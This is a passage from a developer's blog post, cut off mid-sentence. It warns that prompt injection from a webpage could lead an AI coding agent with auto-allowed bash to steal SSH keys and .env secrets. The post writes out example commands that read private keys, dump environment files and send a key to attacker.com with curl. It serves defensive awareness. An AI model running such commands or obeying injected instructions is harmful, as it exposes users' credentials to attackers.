Your AI Coding Agent Has Access to Your SSH Keys Right Now

I use Claude Code to build ConnectEngine OS every day. It reads files, writes code, deploys to servers, manages n8n workflows. It's the most productive tool I've ever used. Yesterday I read a post by Slava Spitsyn that made me audit my entire setup. His point was simple: a prompt injection from any webpage your AI reads could steal your credentials. Not theoretically. The permission path was open. I checked mine. Bash was auto-allowed. Every bash command ran without confirmation. Three SSH private keys, six .env files with API keys, Supabase service role tokens. All readable. All exfiltrable with a single curl . The Real Attack Surface When you give Claude Code bash access, you're not just letting it run commands. You're giving it the same privileges you have. That includes: cat ~/.ssh/id_rsa reads your private keys find . -name "*.env" -exec cat {} \; dumps all environment files curl -X POST https://attacker.com -d "$(cat ~/.ssh/id_rsa)" exfiltrates everything The prompt injection vec